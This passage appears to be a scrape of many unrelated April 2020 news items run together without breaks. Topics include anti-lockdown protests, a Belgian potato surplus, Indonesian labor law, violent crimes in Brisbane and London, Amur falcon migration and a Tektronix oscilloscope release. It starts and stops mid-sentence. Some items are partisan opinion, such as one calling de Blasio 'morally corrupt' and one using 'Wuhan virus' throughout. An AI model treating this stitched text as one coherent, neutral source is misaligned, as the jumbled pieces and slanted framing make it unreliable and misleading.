forced to stay at home. Facebook/Audrey Whitlock Audrey Whitlock is one of the members of the ReOpen NC Facebook group, which has about 70,000 online members. They reportedly organise weekly in-person rallies demanding that the state reopen. Whitlock apparently even described herself as an asymptomatic Covid-19 patient in a post that has since been deleted. Even though she has the potential of infecting other people, she said that abiding by the governor's orders meant her rights were being violated. She never left her house during her quarantine, so she has not been at any rally or any of the functions that we've done. I'm not responsible for other people's choices. I'm for personal liberty, Ashley Smith, a fellow organiser reportedly told a local television station. She further said, Everyone has their own decisions to make. If they want to come, that's up to them. I'm going to be there. I'm not afraid of the virus. I'm more afraid of losing my constitutional rights and losing my livelihood than I am of the virus. Facebook/ReopenNC Last week, people rallied in downtown Raleigh saying that the order violated their constitutional rights. We are mostly business owners and employees that are losing our income and denied our right to provide for our families. We have come together to demand action from their elected officials,' they said on their Facebook page. In a Facebook post, Whitlock wrote, 'I will take a stand every day until we are a free people again, to sound the alarm because someone has to do the right thing in the face of wrong.' In her opinion, the COVID-19 restrictions violate her First Amendment rights as well as her 5th and 14th Amendment rights. Getty Images 'The reality is that modern society has not been able to eradicate contagious viruses. A typical public health quarantine would occur in a medical facility. I have been told not to participate in public or private accommodations as requested by the government, and therefore denied my 1st amendment right of freedom of religion,' she wrote. She also wrote that 'It has been insinuated by others that if I go out, I could be arrested for denying a quarantine order.' According to reports, these anti-lockdown protests could be the breeding ground for coronavirus in America which is already struggling with the overwhelming number of cases it is witnessing daily. Video above: How to make the best fries ever French fries are already a popular food among Belgians, but potato growers are hoping citizens can eat their way through a major surplus. Since lockdown began there in March, about 750,000 metric tons of spuds have accumulated in Belgium warehouses, BBC News reported, which is equivalent to more than 826,000 tons. The potatoes will likely be destroyed if Belgians don't do their part to dig in. It would be a loss of about $135 million (125 million Euros), according to Forbes. Romain Cools, of Belgapom, a potato growers union, urged citizens to increase their intake of the salty snack, particularly frozen spuds. "Let us all eat French fries twice instead of once a week," Cools said, The U.K. Telegraph reported. In the United States, farmers have resorted to dumping milk and destroying vegetable crops because of a surplus due to stay-at-home orders across the country. What we are trying to do is to avoid food waste," Cools said, CNBC reported. "Because every lost potato is a loss. More than 47,o00 people in Belgium have had coronavirus and more than 7,000 people have died there as of Tuesday, according to the Johns Hopkins University tally. On Monday, Attorney General Bill Barr issued a formal memorandum to "the Assistant Attorney General for Civil Rights and all United States Attorneys." In it, he advised them that the Wuhan virus does not eliminate people's constitutional rights and told them that they would be responsible for making sure that political entities in their respective jurisdictions were not committing any violations. Thank goodness! One of the regular themes in conservative media is that Democrat politicians (plus a handful of Republican ones) are using the Wuhan virus to justify stripping people entirely of their civil rights. The main one is basic freedom, for these governments are locking people in their homes. Also, politicians are shutting down random businesses and treating ordinary conduct as criminal. Moreover, too many police forces are accepting these diktats and acting in a way more consistent with a socialist country than a constitutional one. Thankfully, A.G. Barr is a constitutionalist, and he has now informed all of the United States attorneys under his jurisdiction that they are responsible for protecting citizens from this type of overreach: Barr acknowledges that some restrictions are reasonable to prevent the Wuhan virus from running amok. Barr says his initial concern was profiteering. Now, however, "I am directing each of our United States Attorneys to also be on the lookout for state and local directives that could be violating the constitutional rights and civil liberties of individual citizens." Further, Barr says he's already explained that the pandemic cannot be used as a vehicle to discriminate against either religious institutions or individuals. He also reminds the memo's recipients that the restrictions on government overreach are not limited to religion. Instead, "the Constitution also forbids in certain circumstances, discrimination against disfavored speech and undue interference with the national economy." If governments stop protecting against the virus and simply engage in "an overbearing infringement of constitutional and statutory protections," this is something the DOJ may have to address. Fundamentally, says Barr, "the Constitution is not suspended in times of crisis." A lot of people will be very relieved to hear that. For example, in Oshkosh, Wisconsin, a dog-groomer was arrested for opening her store because the government thinks she's "non-essential." The woman actually had the audacity to believe that earning a living is essential! On April 24, the Winnebago County Health Department contacted Oshkosh Police to inform them the Dog Depot, 1225 S. Main Street, was open even though the Winnebago County Public Health Department has deemed the business non-essential. A sergeant with the Oshkosh Police Department went to the business and spoke with the owner. The sergeant informed the owner that she had to close immediately. "The owner was WARNED several times and explained why she needed to close. The owner said that she disagrees with the Winnebago County Health Department and that she would not comply with the Governor's Orders and that she would not close her store," reads a statement from Oshkosh Police. When the story went public, Governor Tony Evers backed off, saying dog-groomers could stay open. This reversal was as random as his closing the grooming facilities in the first place. There have been only 281 deaths attributed to the Wuhan virus in all of Wisconsin. Winnebago County, in which the groomer works, has had one death. In Virginia, one judge didn't wait for the Department of Justice to step in. Instead, a circuit court judge rejected Governor Northam's order closing down indoor gun ranges. According to the governor, the ranges are "places of amusement" and, therefore, non-essential. According to Judge F. Patrick Yeatts and those challenging the governor's order, the right to bear arms is fundamental and includes the right to practice bearing arms: Although the governor attempted to argue that outdoor ranges were an alternative, Yeatts countered, "the Court rules that the right to keep and bear arms is not relegated to the outskirts of the city and of fundamental rights jurisprudence." The judge's order explained that the governor more than likely exceeded his constitutional powers when he shuttered indoor gun ranges as part of his emergency, statewide shutdown orders. Yeatts notes that the Virginia constitution's right to bear arms includes training with firearms. "The body of the people, trained to arms is the proper, natural safe defense of a free state," the commonwealth's constitution declares. Hear! Hear! And then there's New York, the state that has borne the brunt of the Wuhan virus in America, leaving New Yorkers locked up, going broke, and justifiably worried that they might get sick. One very angry Brooklynite scolded Mayor de Blasio and his wife for their hypocrisy in heading out to Prospect Park, 11 miles from the governor's mansion, so they could take a nice walk: WATCH: NYC Mayor Bill de Blasio and wife Chirlane McCray confronted by protester in Prospect Park: "Seriously, you guys have a park. You live in the middle of a park. You dont need to non-essentially travel to Brooklyn. "https://t.co/kyBbD5R1vT pic.twitter.com/c6krYkfvPS Jon Levine (@LevineJonathan) April 27, 2020 De Blasio is morally corrupt (all hardcore leftists are), politically corrupt, and really stupid. It's lovely to see a New Yorker get in his face. It's even more lovely to know that Attorney General Barr is stepping up to stop arbitrary and capricious laws that increase government power without bestowing any additional health and safety benefits on America's citizens. Share this article Whatsapp Facebook Twitter Linkedin Mardika Parama (The Jakarta Post) Jakarta Tue, April 28, 2020 18:45 624 fc6853813033f564188675f8bd4c7204 1 Business omnibus-bill-on-job-creation,APINDO,Kadin,business,labor-union,COVID-19,coronavirus,layoffs Free Key business groups have expressed opposition to the decision to delay deliberation of the labor provisions in the omnibus bill on job creation, saying it will create an unfavorable environment for investment amid the increasing risk of a recession. The Indonesian Employers Association (Apindo) issued on Monday an official public statement, claiming that without the labor provisions, the bill would reduce the opportunity to attract labor-intensive investment as well as weaken job creation efforts, undermine the dispute mechanism in labor-intensive companies and lead to a lack of flexibility with regard to nonpermanent workers. The COVID-19 pandemic has caused a huge spike in the number of layoffs and furloughs and these are expected to continue to rise until the end of 2020. This situation should push us even more to deliberate the bill, including the labor elements, intensively given that after the pandemic there will be a need for massive job creation for the laid-off workers, Apindos statement reads. President Joko Jokowi Widodo announced on Friday that the government and House of Representatives had agreed to delay deliberation of labor provisions in the omnibus bill, providing time to explore substantial issues and accommodate inputs from stakeholders. The decision was a concession to labor unions, which postponed planned mass protests against the bill despite the COVID-19 outbreak. Labor groups fear the omnibus bill will exacerbate existing conditions with up to 5.2 million people at risk of losing their jobs according to government estimates in a worst-case scenario where the economy contracts by 0.4 percent. Read also: Indonesia delays deliberations over labor issues in omnibus bill amid backlash While labor groups commended the government for delaying the legislation process, businesses objected to the decision, citing fears of impending waves of layoffs amid the oncoming economic downturn. Its true that we should focus on preventing the spread of COVID-19. However, we also have to simultaneously anticipate the skyrocketing number of layoffs by improving our business climate, Apindos deputy chairman Bob Azam told The Jakarta Post. More than 1.2 million workers from 74,439 companies in both the formal and informal sectors have either been told to stay home or have been laid off as a result of the pandemic, according to Manpower Ministry data released in early April. Right now, the business sector is collapsing. There are a number of companies that have closed their operations and sold their assets, and we cannot continue doing business-as-usual to survive, Bob said. Indonesian Chamber of Commerce and Industry (Kadin) deputy chairwoman Shinta Kamdani echoed Bobs statement and underlined the importance of revising the countrys labor legislation in order to woo investors. We respect the bills deliberation process at the House and support consultation efforts with all stakeholders. However, we would like to point to the importance of continuing the labor provisions deliberation, which are an integral part of the bill, she told the Post. Read also: Millions to lose jobs, fall into poverty as Indonesia braces for recession Shinta added that Indonesias labor market and regulations must be reformed to improve the countrys global competitiveness, and create an efficient and productive business climate. The Confederation of Indonesian Trade Unions (KSPI), meanwhile, has argued the COVID-19 pandemic makes the omnibus bill even more dangerous as millions of workers are facing layoffs and furloughs. Of course [the pandemic] made the bill worse. The easy hire-and-fire concept could make it easier for companies to lay off their workers, KSPI spokesperson Kahar S. Cahyono told the Post. The global economic structure is changing due to the pandemic. Our studies have shown that there is no guarantee that there will be an increase in investment if we lower the bar when investor countries are also focusing on recovering their own economies. The KSPI expects discussions could be continued objectively with the participation of the public and labor unions in the future when pandemic pressures have eased. Read also: Lawmakers upset over Jokowis social media gaffe on job creation omnibus bill Economists, meanwhile, have expressed mixed views on the delay. Perbanas Institute economist Piter Abdullah said the omnibus bill on job creation contained many problematic issues and not only on labor reforms. The government and the House should delay the deliberations of every provision altogether, Piter said. They must first make sure and convince the public that there are no conflicts of interest in any article of the bill. The spirit of acedia drives the monk out of his cell, but the monk who possesses perseverance will ever cultivate stillness. A person afflicted with acedia proposes visiting the sick, but is fulfilling his own purpose. A monk given to acedia is quick to undertake a service, but considers his own satisfaction to be a precept. Evagrius Ponticus, from On the Eight Thoughts In the first year of my PhD program, I was 21, lonely, disoriented, utterly out of my depth, and unwilling to admit it. Instead of running to my professors for help or diving in at the library, I found myself avoiding homework altogether. I told myself I wasnt working because I didnt care about my classes, but the truth was, the fear of failure was too much to bear. I knew God had called me to this task, but as the difficulty of the work set in, my call became a source of sadness instead of joy. I first heard the term acediawhat Thomas Aquinas defines as sadness at an interior or spiritual ... You have reached the end of this Article Preview You have reached the end of this Article Preview To continue reading, subscribe to Christianity Today magazine. Subscribers have full digital access to CT Pastors articles. 1 After three policemen died of coronavirus, cops in Mumbai have been issued an advisory. Police personnel over 55 years of age have been asked to stay at home. These officials will not assist in coronavirus-related duties. They have been asked to stay at home till the virus is contained. According to a report in NDTV, the decision was taken by Mumbai Police Chief Param Bir Singh after three policemen lost their lives due to COVID-19. All of the deceased were above 50 years of age. Even according to a Health Ministry advisory, people over 50 years of age are more susceptible to the virus. On Monday, a 56-year-old policemen succumbed to the virus after undergoing treatment. Attached to the Kurla traffic division of the Mumbai Police, Shivaji Sonawane was deployed in the L-ward (Kurla division), which has become one of the city's major coronavirus hotspots. On Monday, Mumbai Police issued a statement: Mumbai Police regrets to inform about the unfortunate demise of HC Shivaji Narayan Sonawane (56) from Kurla Traffic Division. HC Sonawane had been battling Coronavirus. We pray for his soul to rest in peace. Our thoughts and prayers are with the Sonawane family. Constable Chandrakant Pendurkar attached to the Vakola police station and 52-year-old head constable Sandip Surve are the other two police officials to have succumbed to the virus. During his address to the state on Sunday, Chief Minister Uddhav Thackeray paid tribute to the fallen policemen. He said that their families will be compensated as per state norms. Maharashtra is the worst-affected state in the country with 8,590 cases. According to Health Ministry data, the state has reported 369 deaths, while 1,282 people have recovered from the virus. State Health Minister Rajesh Tope advocated extending the lockdown beyond May 3 for Mumbai and Pune. Also read: Coronavirus India Live Updates: Lockdown 3.0 or phased exit? PM Modi's address likely this week; tally-29,435 Also read: Coronavirus crisis: China fumes over ICMR clampdown on 'faulty' rapid testing kits, calls it 'unfair' INDIA CORONAVIRUS TRACKER: BusinessToday.In brings you a daily tracker as coronavirus cases continue to spread. Here is the state-wise data on total cases, fatalities and recoveries in one comprehensive graphic. As most crises create predicaments for a community, they simultaneously shine a glaring light on the glitches already existing. Because of the COVID-19 pandemic, this is occurring across numerous local and global systems. As the stoppage in the economy worsens food insecurity worldwide, a territory such as Puerto Rico, that strongly imports reliant could be in terrible straits. Primarily, according to the Puerto Rico Department of Agriculture, in 2012, 89 percent of food in this territory was imported. Nevertheless, Francisco Tirado, CEO, and co-founder of PRoduce, an online produce marketplace, which exclusively buys produce from local artisans and farmers, is hoping the percentage and situation will change. Amid the COVID-19 pandemic, the top priority is to "buy back up to 90 percent of imports as harvests for the island." Relatively, Francisco says, his two-year-old business aims to do this by collaborating with the local farmers. Before the Pandemic Before the pandemic, produce had 300 subscriptions from customers. However, in the last four to six weeks, the figures rose to 1,400 via its app. Francisco said they think the whole COVID-19 crisis is going to cut short the extent where people are getting their food. He added, they also believe that anywhere in the world, "would be a 100-mile radius." Suitably, the co-founder explained, Puerto Rico is about a hundred miles. Therefore, this, he shared, is such high testing to see how this occurs. Located in Adjuntas, Puerto Rico, KYV Farm del Caribe owner, and a local farmer, Francisco Arroyo has been regularly selling his harvests to PRoduce since 2018. Harvesting from a 100-acre farm, he can harvest from 30 to 35 crops. And, since this COVID-19 lockdown started in Puerto Rico on March 15, there has been an increase three times, in the farm's orders. Meaning, the equivalent amount he used to sell in one month, he is currently selling in just one week. According to Arroyo, they can produce as much food as they want. He added, "It is a matter of choice." When it comes to the farmers' role, he explained, if there is a situation where they cannot import food, "Puerto Rico is going to Collapse." Therefore, this is the perfect time to depend on the farmers to begin relationships with markets and attempt to break the reliance they've had on the present food system. The New Normal? Tirado's sister, Laura Tirado, the CEO and co-founder of UVA, applied to her business's new standard as soon as the lockdown in Puerto Rico was announced. Before the news of COVID-19 hitting the US, UVA was said to be making 400 food deliveries each day to "customers from local restaurants. At present, the startup is delivering to 1,800 customers on average. Laura is attributing this to the fact that usually, it takes the majority of the supermarkets up to two weeks to cater to their customers' orders. At the same time, they, at UVA, can deliver the orders on the same day they are made. Check these out! An Indian man has been jailed for stabbing his wife more than 20 times during a frenzied attack at their Brisbane home after she asked for a divorce. The woman, then 23, suffered injuries to her head, neck, chest, back and arms during the premeditated attempt to murder her as she slept in August 2015. Rajkumar Janagani, 35, then turned the knife on himself, saying 'my wife wants to leave me I do not want to live without her'. An Indian man has been jailed for stabbing his wife more than 20 times during a frenzied attack at their Brisbane home after she asked for a divorce (file picture) The woman, who cannot be named for legal reasons, grabbed the knife, stopping Janagani as he stabbed himself in the chest and throat. He sustained superficial wounds. The woman needed surgery and spent two weeks in hospital. She continues to suffer from her injuries. Janagani pleaded guilty in the Brisbane Supreme Court on Tuesday to attempted murder after he admitted to police that he had tried to kill his wife. He will spend at least eight years and eight months in jail and is likely to be deported once released. His early morning attack came a day before she was due to fly home to India. The court heard his dominating behaviour had escalated and she had told him she wanted a divorce. 'He became very controlling and would isolate me. He would tell me what I would and could not say to people,' the woman said in her victim impact statement. Janagani also choked the woman, hit her, spat in her food, and monitored her emails. The woman, who was studying software engineering at the time, said the attack had robbed her of her self-confidence and left her feeling ashamed. Her family in India have also been impacted after Janagani's family and friends targeted them. 'I was a high achiever and was in the top one per cent,' she said. '(Now) I feel worthless. I feel like my life has collapsed. I cannot trust people and I feel there is no hope for my future.' In sentencing, Justice Peter Applegarth said Janagani's assault on a vulnerable woman was cowardly. 'It was not a single horrible stab wound. It was a sustained attack as the number of stab wounds demonstrates,' he said. He also told the woman she should not feel ashamed for what happened to her. 'I hope when this legal process ends that you will see yourself as more than a victim,' she said. 'You should see yourself as a survivor.' Justice Applegarth sentenced Janagani to 11 years' imprisonment with parole eligibility after eight years and eight months. Lifeline 13 11 14 A man in his 30s was rushed to hospital yesterday evening after being shot on a busy north London street. Police were called to the scene in Camden at 7.38pm where they found the man with gunshot wounds. Stunned witnesses watched as the man was taken to hospital, with a police cordon remaining in place late into the evening. Police later confirmed the man was not in a life-threatening condition, though he remains in hospital. The man in his 30s was shot in Camden, north London yesterday evening and rushed to hospital Officers examine evidence at the scene after the man was shot in Camden yesterday evening The Met is asking for any witnesses to get in touch via 101 ref CAD 6524/27 Apr. It is the latest in a growing number of violent crimes plaguing London amid the continued coronavirus lockdown. On Sunday, a triple stabbing left two children dead and their father battling for his life. Nithin Kumar, 40, is pictured with his wife Nisa and their one-year-old daughter and three-year-old son who were both killed in the horrific incident in Ilford, east London Nithin Kumar, 40 is in hospital under police guard with critical stab wounds after his son, three and daughter, one, were stabbed in what has been described as an 'attempted murder-suicide.' Eyewitnesses reported how his distraught wife Nisa ran into the street screaming from the couple's tiny flat in Ilford, east London following the brutal attack just before 6pm yesterday. Her daughter died at home as her son was rushed to hospital before dying in a major trauma centre. The mayor of Grants, New Mexico, has allowed small businesses in the town to reopen on Monday in defiance of the governors order to close down all businesses amidst the CCP virus health emergency, according to multiple reports. The Associated Press reported that the mayors move to reopen small businesses came after several rural communities were pressuring their local and state government officials to reopen businesses in order to help curb the rise of unemployment and economic difficulties. On Monday we are reopening Grants, said Grants Mayor Martin Modey Hicks, according to Daily Mail. Yes we are, we are going to follow the CDC guidelines. We are going to do the social distancing, but we will be open for business even though that is against the governors executive order. Daily Mail reported that the town was suffering from the lockdown order and in order to make sure that businesses in the town stay afloat, they would be allowed to reopen. Furthermore, the mayor said that he promised there would be a confrontation between the police in Grant and the state police, according to CBS News. There will be a confrontation down here. I guarantee you there. Ive ordered the police to stop any State Police officer who comes into the town and tries to shut them down, Hicks said. Hicks said that he will fight New Mexico Gov. Michelle Lujan Grishams order, saying, I am prepared to take whatever she wants to give me because she is already killing us anyway. What she going to do she hasnt already done to us? She has taken all of our jobs. What she going to do, come put me in jail? Hicks also argued that only a portion of individuals in New Mexico had been infected by the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus, and that it did not make any sense for the small businesses in the town to stay closed. According to Hicks, Grisham was killing the state over a little bug. Grisham, however, said that Hickss plans made no sense, and said that the state police will still be enforcing the lockdown for the health order. This notion that you dont have to comply is wrong. That you can just open up businesses and not worry about public health issues is really quite frankly tantamount to opening up a public pool and having a pee section, Grisham said, according to Daily Mail. According to the order, individuals who deny the order to close unnecessary businesses will be given a warning on their first offence, and if caught defying the order, a $100-fine will be issued. A fine of up to $5,000 will be issued for third-time offences, Daily Mail reported. tech2 News Staff In October 2019, at its annual Pixel event, Google had launched its second-generation Pixel Buds which were its first truly wireless earphones. Now, months after the launch, the earphones have finally been made available for purchase in the US Google Store. The second-gen Pixel Buds are priced at $179, and their availability in the Indian market is not known yet. Google's new buds have a re-engineered fit with egg-shaped case resembling the AirPods' case. Google says with the new Pixel Buds the experience comes to you," which is evident from hands-free access that is provided on the buds. Just say Hey Google to ask Assistant for whatever you need. The updated Bluetooth on the Buds means that you can stay connected to the Pixel Buds even from three rooms away. The Pixel Buds pair with your Pixel phone and other Android 6.0 and above devices with a single tap. and they can also be paired with Bluetooth 4.0 and above laptops, tablets, and iOS devices. Google has said that it had scanned thousands of ears to create a design that would be comfortable for as many people as possible. There is an adaptive hybrid design to sort out any kind of sound issues while the ear tips do seal the ear to emphasize audio. Talking about the battery life, we see that the earbuds have a 7 hour battery life which can be extended to 24 hours using the case. Indian Forest Service officer Parveen Kaswan is known to share interesting facts and stories about wildlife with all of us on Twitter. In fact, nature lovers are frequent visitors to his timeline and for good reason. From random facts about a rare species to beautifully clicked pictures of wild animals, his profile is a blessing for animal lovers. This time, he decided to share a very informative thread on the Amur falcon, a bird which crosses the Himalayas to fly to India from Mongolia and the Arabian Sea and then moves on to Africa. Based on his tweet, the Amur Falcon covers a total of 22,000 km by flying. Today let me share story of Amur Falcon, a bird which crosses Himalayas enroute to India from Mongolia & Arabian Sea for going to Africa. This bird covers 22,000 KMs flying. One of the natures amazing wonder. In Nagaland they come in hundreds of thousands & stay for some time. pic.twitter.com/eO0OTzfWdC Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 He shared a picture of a female Amur Falcon named 'Longleng' who apparently flew for five whole days to reach Somalia last year. While we were inside a female Amur Falcon named as Longleng, which flew non-stop for FIVE DAYS covering thousands of kilometres to reach Somalia in Nov last year, has returned to the Indian sub-continent. This reached India just recently. https://t.co/rIMmTu1Z6J pic.twitter.com/ViTeFX5vV5 Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 He further goes on to explain how three different falcons were given names when they were leaving Nagaland to fly to Southern Africa -- Naga, Pangati and Wokha. In one study three Amur falcons were radio tagged named as Naga, Pangati & Wokha. By 13 November they left Nagaland & by 25th December all three were in Southern Africa. With some halts in India. They took longest over water journey. Imagine the distance they covered flying. pic.twitter.com/ioCMa9YvCC Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 He mentions that Nagaland is known for million Amur falcons coming to the state each year and that is why it is also known as the Amur faclon capital of the world. Naga, flew from Nagaland in India to Somalia in eastern Africa, for five days and 10 hours non-stop and covering a distance of some 5,600km. Since a million Amur falcons arrive in Nagaland, it is also called as Amur falcon capital of the world. pic.twitter.com/QVh6CalI8M Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 Apparently, Amur falcons were once hunted and by raising awareness about the role in migration, conservation work by communities paid off and the hunting stopped. Amur falcons were hunted extensively once. By raising awareness about their role & route of migration and involving communities their conservation work is paying good dividends. This is only one such bird, in nature birds migrate & all needs protection. pic.twitter.com/mDMllQrMma Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 He further goes on to say that animals and birds have no sense of borders. Animals & birds don't recognise borders. That is why we have #Bonn convention on protection of #Migratory species. Where India is a respected member. So that all can be conserved. Can fly free like these Amur falcons. Pic courtesy given. Study by WII, Nagaland govt & BNHS. Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 This one is Naga. They travel from eastern Asia all the way to southern Africa and back every year (as map shared above). What a journey this bird is taking. They cross high Himalayas (special adaptations) & rest in India for their further journey. PC Nick Williams. pic.twitter.com/n38ubqRRUl Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 He ends his thread by letting us know that eight years ago in 2012, the Amur falcons were hunted in thousands and governments and NGOs came together to conserve the rare bird species. Till 2012 they were hunted in thousands in Nagaland. Which became a huge issue. Later govts, community members & NGOs came forward to conserve them. Now Nagaland happily welcome them & even celebrate Amur Falcon festival every year. A great success story. PC Nagalandpost pic.twitter.com/9gNXOIuX57 Parveen Kaswan, IFS (@ParveenKaswan) April 28, 2020 Always a delight to find out more about fellow living beings who are a part of the same nature as we are. [April 28, 2020] Tektronix Extends Performance of TBS2000 Product Series with New TBS2000B Series of Digital Storage Oscilloscopes BEAVERTON, Ore., April 28, 2020 /PRNewswire/ -- Tektronix, Inc . today announced the new TBS2000B Series of Digital Storage Oscilloscopes that was developed to meet the performance, usability and affordability needs of both engineers and educators. The TBS2000B scopes extend the performance of the TBS2000 portfolio to 200 Mhz with 2GS/s maximum sample rate. The TBS2000B introduction comes shortly after the release of Tektronix's Series 3 and 4 Series Oscilloscopes, as the organization remains committed to investing in a broad portfolio of benchtop solutions. New Features and Options Ease Development and Troubleshooting The TBS2000B Series is designed for easy operation and fast hands-on learning with a range of key features: Large 9-inch WVGA display and 15 horizontal divisionsthe most in its classprovide 50% more signal visibility. 5M point record length, 200 MHz bandwidth, and 2GS/s sample rate capture and display significantly more signal to debug and validate designs faster. point record length, 200 MHz bandwidth, and 2GS/s sample rate capture and display significantly more signal to debug and validate designs faster. New lower-noise front end design offers better signal integrity and more accurate measurements. TekVPI probe interface supports a wide range of active, differential and current probes with automatic scaling and units. On-waveform cursor readouts with search and mark features enable easy identification of events that occur in the acquired waveform. Bandwidth is field-upgradeable from 70MHz to 100MHz to 200MHz. Includes Wi-Fi support (via USB Wi-Fi dongle), 2 USB host ports, and 100-BaseT Ethernet for easy collaboration. Providing 100 percent compatibility with existing designs, the TBS2000B series is a drop-in replacement for TBS2000 series oscilloscopes, with the same form factor and programmable interface. Hands-on Learning with Built-in Instruction Features The TBS2000B is ideal for university and training environments, with built-in features that make instruction in engineering fundamentals easier for both students and teachers: HelpEverywhere offers instant tips within key menus, including measurement information, application tips and general guidance in the form of text and graphics. TekSmart Lab network software helps instructors set up and monitor many instruments from one PC. Courseware ecosystem lets instructors load information into the TBS2000B to help students during labs. Autoset, cursors and automated measurements can be disabled to facilitate teaching basic concepts. Availability Available now worldwide, the suite of TBS2000B modules are priced from $1,370.00 US MSRP. Each unit receives Tektronix's five-year warranty, including accidental damage. For more information go to https://www.tek.com/tbs2000b About Tektronix Tektronix, Inc., headquartered in Beaverton, Oregon, delivers innovative, precise and easy-to-operate test, measurement and monitoring solutions that solve problems, unlock insights and drive discovery globally. Tektronix has been at the forefront of the digital age for over 70 years. More information on our products and solutions is available at Tek.com . Follow us on Twitter , Facebook , Instagram , and LinkedIn to stay connected. Learn more from our engineers on the Tektronix blog and read our latest announcements in our Newsroom . Tektronix is a registered trademark of Tektronix, Inc. All other trade names referenced are the service marks, trademarks or registered trademarks of their respective companies. View original content to download multimedia:http://www.prnewswire.com/news-releases/tektronix-extends-performance-of-tbs2000-product-series-with-new-tbs2000b-series-of-digital-storage-oscilloscopes-301048021.html SOURCE Tektronix, Inc. [ Back To TMCnet.com's Homepage ] Australian Sen. Penny Wong in the Senate at Parliament House in Canberra, Australia, on Dec. 2, 2019. (Tracey Nearmy/Getty Images) Senator Says Australian Politicians Overreached on Foreign Policy But Supports China Virus Inquiry Australias shadow foreign affairs minister Senator Penny Wong (SA) said Labor supported the Coalition governments calls for an independent inquiry into the early Wuhan outbreak of the CCP virus, in a piece published in the Sydney Morning Herald on April 27. But she also criticised the governments politicians and its supporters who she said had overreached on Australias foreign policy when they criticised China to play to their own audience. Wongs message was that Australia needs to rethink its relationship with China and the ruling Chinese Communist Party (CCP), but not disengage. Wong started by saying Australias relationship with the Chinese regime wasnt straightforward even before the pandemic, noting the crackdown on Hong Kong protestors, its actions in the South China Sea, its dams on the Mekong threatening water security in Laos and Vietnam, and the mass detention of Uyghurs. Wong then said that for decades, policy makers in Australia have thought that trading with the Chinese regime would bring greater freedom to China, but the relationship has now clearly entered a new phase given the CCP (Chinese Communist Party) virus pandemic, commonly known as novel coronavirus. As Chinas weight has grown, it has asserted itself much more, she said. But our interests differ, as do our values: China is an authoritarian one-party state; Australia is a democracy, she added. Wong wants Australia to find a way to productively manage differences with the communist regime while standing up for Australias own values, sovereignty, and democracy. This has become more challenging as a result of COVID-19, she said. On April 27, Liberal Senator Eric Abetz (Tas) told The Epoch Times that he agreed with Wongs assessment that Australias policiesincluding foreign affairsshould be guided by its values and its interests. Compromising your values is never in your long term interests and asserting our values and our interests such as freedom and accountability will always be interpreted as political by nations hostile to freedom and accountability, he said via email. If Australia stands firm by its values, Abetz said, it will give succour and encouragement to others who are promoting those universal values in other countries. That is why Ive spoken out against an extradition treaty with China (as proposed by [former prime minister] Malcolm Turnbull and Julie Bishop) and exposed the collaboration between medical institutions in Australia with communist Chinas notorious organ transplant facilities costing the lives of prisoners of conscience. For too long, weve turned a blind eye to gross human rights abuses and aggressive military stances such as the continual encroachment in the South China Sea, he said. One Nation Senator Malcolm Roberts (QLD) told The Epoch Times on April 27 that Wongs piece implicitly questioned Australias bilateral relationship with the CCP. Roberts said he also wants Australia to restore balance in its relationship with the CCP, noting that its important to maintain the trade relationships while holding the CCP accountable. Australian values include being fair, fair-dinkum, and forthright, he said via email. As a democratic nation whose citizens are losing many basic freedoms under [the] U.N. dictates now governing Australia, our values conflict with those of the Chinese Communist Party. Australias values are closely linked with its advocacy and promotion of fundamental values, Abetz said, which are the universal values to which all humankind aspiresamongst them freedoms of speech, thought, religion, and political association. He added that Australias national interest should never come at the sacrifice of our national soul and values. To advocate as such is to advocate a false dichotomy, which is morally unacceptable and ultimately unsustainable, he said. Overreach Responses Wong said that several politicians had overreached on Australias foreign policy, while accusing Home Affairs Minister Peter Dutton of provoking China by airing the conspiracy theory that the virus originated in a Chinese lab to distract from the Ruby Princess debacle. The Epoch Times reached out to Duttons office for a comment but did not receive a response. Liberal Senator Amanda Stoker (QLD), Roberts, and Abetz have all voiced support for the Morrison Coalition governments call for an independent investigation into the outbreak in Wuhan. They rejected any claim of overreach. Abetz said that Wongs piece demonstrated to him Labors muddled thinking and internal conflicts when it deals with left-wing dictatorships. Calling out dictatorships for what they are and do is never to be seen as overreach. Dictatorships deny fundamental God-given individual human rightsrights for which our forebears fought and died leaving us a rich inheritance, Abetz said. Stoker told The Epoch Times on April 27 via an email that Wongs article was an appeal to her own audience and described it as offering little substance but plenty of barbs against the government. Senator Wongs suggestion that [the WHO] should be insulated from scrutiny is far more troubling, she said. Stoker appeared in an episode of 60 Minutes on April 24 in which she suggested that countries around the world could look to the International Court of Justice to hold the CCP to account through a tribunal much like the Nuremberg Trials. This was used, as a well-known historical example of a nation being held accountable for its actions. The international community has the power to establish a formal inquiry, Stoker said, although she said there was the issue of the CCPs record of rejecting the jurisdiction of such tribunals. Roberts also rejected Wongs claim of overreach. To the contrary, [the government] have not gone far enough in denouncing WHO nor in specifying the Chinese Communist Partys dishonesty in covering up the COVID-19 outbreak, he told The Epoch Times. That cover-up resulted in needless deaths and economic devastation around the world. Stoker said the Morrison governments calls for an independent investigation would serve to ensure that the U.N. and its subsidiary organisations provide meaningful service to the global community. A previous version of this article misidentified Julie Bishop. The Epoch Times regrets the error. Theres been a lot of confusion about when some Americans will get their stimulus checks from the coronavirus relief package. One thing thats been clear: The federal government will garnish your stimulus check if you owe back child support. But its not supposed to take stimulus payments from your current spouse. Several families have told NJ Advance Media thats exactly whats happening. Jayson MacConnell said his familys entire stimulus check was garnished. He has three children with his current spouse of five years, and one child with his ex-wife. They were expecting $2,400 plus $500 for each of their three children but they got nothing because his child support account is in arrears, he said. CORONAVIRUS RESOURCES: Live map tracker | Businesses that are open | Homepage MacConnell said hes not a deadbeat dad and the arrears didnt happen because he skirted his responsibilities. He used to pay $646 per month of support for his oldest child. In July 2018, his ex-wife took him to court for more money, MacConnell said, and he continued to make his regular $646 monthly payment while the court considered the case. In February 2019, the court raised his payment to $1,200 per month. Because the decision was retroactive to when the case was filed, MacConnell ended up more than $7,000 in arrears, he said. His ability to pay changed when he was laid off from his job in N.J. in September 2019, and four days later had a stress-induced heart attack, said MacConnell, 40, who used to live in Roselle but now lives in Pennsylvania. I signed up for unemployment while I looked for a job, he said. I also headed into family court to file for a downward modification in support. That case is still pending. In the meantime, to 